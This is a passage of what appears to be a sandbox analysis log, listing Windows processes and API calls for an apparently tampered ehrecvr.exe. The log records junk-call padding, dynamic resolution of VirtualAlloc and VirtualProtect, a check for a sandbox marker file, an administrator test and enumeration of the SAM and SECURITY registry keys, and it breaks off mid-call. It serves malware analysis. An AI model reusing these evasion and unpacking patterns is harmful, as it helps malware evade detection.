"0x60b16000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x298" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 406 os_tid = 0x62c Thread: id = 407 os_tid = 0x53c Thread: id = 408 os_tid = 0x39c Thread: id = 409 os_tid = 0x7e8 Thread: id = 410 os_tid = 0x320 Thread: id = 411 os_tid = 0x5b8 Thread: id = 412 os_tid = 0x794 Thread: id = 413 os_tid = 0x724 Thread: id = 414 os_tid = 0x3b0 Process: id = "35" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0x0" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 422 os_tid = 0x8 Thread: id = 423 os_tid = 0x38 Thread: id = 424 os_tid = 0x34 Thread: id = 425 os_tid = 0x30 [0243.860] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x1d259, Tag=0x5746744e) returned 0xfffffa80035b8000 [0247.040] KeDelayExecutionThread (WaitMode=0x0, Alertable=0, Interval=0xfffff88002f885a8*=-1266199646) Thread: id = 426 os_tid = 0x24 Thread: id = 427 os_tid = 0xc4 Thread: id = 428 os_tid = 0x90 Thread: id = 429 os_tid = 0x9c Thread: id = 430 os_tid = 0x78 Thread: id = 431 os_tid = 0xc0 Thread: id = 432 os_tid = 0x28 Thread: id = 433 os_tid = 0x44 Thread: id = 434 os_tid = 0x40 Thread: id = 435 os_tid = 0x4c Thread: id = 436 os_tid = 0xcc Thread: id = 437 os_tid = 0x48 Thread: id = 438 os_tid = 0xd0 Thread: id = 439 os_tid = 0xb8 Thread: id = 440 os_tid = 0xd4 Thread: id = 441 os_tid = 0xd8 Thread: id = 442 os_tid = 0xdc Thread: id = 443 os_tid = 0xe8 Thread: id = 444 os_tid = 0xec Thread: id = 445 os_tid = 0x64 Thread: id = 446 os_tid = 0x2c Thread: id = 447 os_tid = 0xfc Thread: id = 448 os_tid = 0x100 Thread: id = 449 os_tid = 0x10c Thread: id = 450 os_tid = 0x104 Thread: id = 451 os_tid = 0x108 Thread: id = 452 os_tid = 0x110 Thread: id = 453 os_tid = 0x5c Thread: id = 454 os_tid = 0x80 Thread: id = 455 os_tid = 0x98 Thread: id = 456 os_tid = 0x8c Thread: id = 457 os_tid = 0x128 Thread: id = 458 os_tid = 0x12c Thread: id = 459 os_tid = 0x130 Thread: id = 460 os_tid = 0x134 Thread: id = 461 os_tid = 0xb0 Thread: id = 462 os_tid = 0x170 Thread: id = 463 os_tid = 0x84 Thread: id = 464 os_tid = 0x74 Thread: id = 465 os_tid = 0x264 Thread: id = 466 os_tid = 0x2e0 Thread: id = 467 os_tid = 0x88 Thread: id = 468 os_tid = 0x3b0 Thread: id = 469 os_tid = 0x23c Thread: id = 470 os_tid = 0x94 Thread: id = 471 os_tid = 0x47c Thread: id = 472 os_tid = 0x68 Thread: id = 473 os_tid = 0x60 Thread: id = 474 os_tid = 0x578 Thread: id = 475 os_tid = 0x594 Thread: id = 476 os_tid = 0x5ec Thread: id = 477 os_tid = 0x5f4 Thread: id = 479 os_tid = 0x484 Thread: id = 484 os_tid = 0x66c Thread: id = 485 os_tid = 0x480 Thread: id = 486 os_tid = 0x670 Thread: id = 487 os_tid = 0x678 Thread: id = 489 os_tid = 0x50 Thread: id = 495 os_tid = 0x6f4 Thread: id = 497 os_tid = 0x73c Thread: id = 498 os_tid = 0x750 Thread: id = 499 os_tid = 0x758 Thread: id = 500 os_tid = 0x764 Thread: id = 501 os_tid = 0x768 Thread: id = 502 os_tid = 0x76c Thread: id = 503 os_tid = 0x20 Thread: id = 504 os_tid = 0x1c Thread: id = 505 os_tid = 0x7c Thread: id = 506 os_tid = 0xbc Thread: id = 796 os_tid = 0x128 Thread: id = 846 os_tid = 0xa0 Thread: id = 855 os_tid = 0x778 Process: id = "36" image_name = "ehrecvr.exe" filename = "c:\\windows\\ehome\\ehrecvr.exe" page_root = "0x7411f000" os_pid = "0x624" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "modified_file" parent_id = "2" os_parent_pid = "0x94c" cmd_line = "C:\\Windows\\ehome\\ehRecvr.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\ehRecvr" [0xe], "NT AUTHORITY\\Logon Session 00000000:0001b91d" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 478 os_tid = 0x628 [0135.924] GetTimeZoneInformation (in: lpTimeZoneInformation=0x3bfb20 | out: lpTimeZoneInformation=0x3bfb20) returned 0x2 [0135.926] GetCurrentProcess () returned 0xffffffff [0135.927] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x3bfb0c | out: lpExitCode=0x3bfb0c*=0x103) returned 1 [0135.927] GetForegroundWindow () returned 0x0 [0135.927] GetCaretBlinkTime () returned 0x1f4 [0135.927] GetFileType (hFile=0xf710cd) returned 0x0 [0135.927] GetConsoleProcessList (in: lpdwProcessList=0x3bfbcc, dwProcessCount=0x1 | out: lpdwProcessList=0x3bfbcc) returned 0x0 [0135.941] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x3bfad8 | out: pcyOut=0x3bfad8) returned 0x0 [0135.949] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0135.949] GetCommState (in: hFile=0x3b268c, lpDCB=0x3bf940 | out: lpDCB=0x3bf940) returned 0 [0135.950] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x3bf93c, pmr=0x3bf928, cht=0x353) returned 0 [0135.951] CloseClipboard () returned 0 [0135.951] CoUninitialize () [0135.952] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0135.952] ReleaseMutex (hMutex=0xa0) returned 0 [0135.952] CloseHandle (hObject=0xa0) returned 1 [0135.952] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0135.952] GetCommState (in: hFile=0x3b268c, lpDCB=0x3bf940 | out: lpDCB=0x3bf940) returned 0 [0135.952] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x3bf93c, pmr=0x3bf928, cht=0x353) returned 0 [0135.952] CloseClipboard () returned 0 [0135.952] CoUninitialize () [0135.952] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0135.952] ReleaseMutex (hMutex=0xa0) returned 0 [0135.952] CloseHandle (hObject=0xa0) returned 1 [0135.952] GetLocalTime (in: lpSystemTime=0x3bfbdc | out: lpSystemTime=0x3bfbdc*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0xc, wMilliseconds=0x36a)) [0135.953] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3bf65c | out: ProcedureAddress=0x3bf65c*=0x77011856) returned 0x0 [0135.953] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x90000 [0136.027] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3bf65c | out: ProcedureAddress=0x3bf65c*=0x77011856) returned 0x0 [0136.027] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x60000 [0136.029] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x3bf6f4 | out: ProcedureAddress=0x3bf6f4*=0x770149d7) returned 0x0 [0136.029] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x3bf6f4 | out: ProcedureAddress=0x3bf6f4*=0x77011222) returned 0x0 [0136.030] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3bf6f4 | out: ProcedureAddress=0x3bf6f4*=0x77011856) returned 0x0 [0136.030] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x3bf6f4 | out: ProcedureAddress=0x3bf6f4*=0x7701435f) returned 0x0 [0136.030] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0136.030] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0136.030] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0136.030] VirtualProtect (in: lpAddress=0xc20000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x3bf7a8 | out: lpflOldProtect=0x3bf7a8*=0x2) returned 1 [0136.045] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x220000 [0136.048] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0136.048] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0136.049] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0136.049] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0136.670] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.691] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x970000 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x104) returned 0x9707d0 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x9708e0 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970968 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x9709f0 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970a78 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970b00 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970b88 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970c10 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970c98 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970d20 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970da8 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970e30 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970eb8 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970f40 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x970fc8 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x971050 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x80) returned 0x9710d8 [0136.704] RtlAllocateHeap (HeapHandle=0x970000, Flags=0x8, Size=0x400) returned 0x971160 [0136.705] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xa90000 [0136.705] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa907d0 [0136.705] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa90858 [0136.705] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa908e0 [0136.705] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x184) returned 0xa90968 [0136.705] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90af8 [0136.705] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90b40 [0136.705] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90b88 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90bd0 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90c18 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90c60 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90ca8 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90cf0 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90d38 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90d80 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90dc8 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90e10 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90e58 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90ea0 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90ee8 [0136.706] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90f30 [0136.706] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3bf2e4, nSize=0x1000 | out: lpFilename="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe")) returned 0x1c [0136.708] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa90f78 [0136.708] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2c) returned 0xa9b828 [0136.717] GetVersionExW (in: lpVersionInformation=0x3bf904*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3bf904*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0136.717] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x3bf8ec | out: Wow64Process=0x3bf8ec) returned 1 [0136.717] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3bf8c8 | out: TokenHandle=0x3bf8c8*=0xa0) returned 1 [0136.717] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3bf8c4 | out: TokenInformation=0x0, ReturnLength=0x3bf8c4) returned 0 [0136.717] GetLastError () returned 0x7a [0136.717] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x140) returned 0xa9b860 [0136.717] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0xa9b860, TokenInformationLength=0x104, ReturnLength=0x3bf8c4 | out: TokenInformation=0xa9b860, ReturnLength=0x3bf8c4) returned 1 [0136.717] AllocateAndInitializeSid (in: pIdentifierAuthority=0x3bf8d4, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x3bf8cc | out: pSid=0x3bf8cc*=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0136.717] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0136.717] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0136.717] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0136.717] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0136.717] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0136.718] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0136.718] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0136.718] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x87, [5]=0x4f))) returned 0 [0136.718] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0136.718] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0136.718] EqualSid (pSid1=0x812818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xa9b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0136.718] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b860) returned 1 [0136.718] NtClose (Handle=0xa0) returned 0x0 [0136.718] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9b860 [0136.719] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9b8a8 [0136.721] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x280) returned 0xa9b930 [0136.722] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0136.734] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xa9b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0136.734] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.735] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bc58 [0136.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xa9bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0136.735] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bca0 [0136.735] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc58) returned 1 [0136.735] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bca0) returned 1 [0136.735] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.735] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xa9b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0136.735] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.735] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bca0 [0136.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xa9bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0136.735] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bc58 [0136.735] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bca0) returned 1 [0136.735] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc58) returned 1 [0136.735] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.735] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xa9b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bc58 [0136.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xa9bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bca0 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc58) returned 1 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bca0) returned 1 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.736] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xa9b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bca0 [0136.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xa9bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bc58 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bca0) returned 1 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc58) returned 1 [0136.736] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.736] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xa9b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.736] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9bc58 [0136.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, 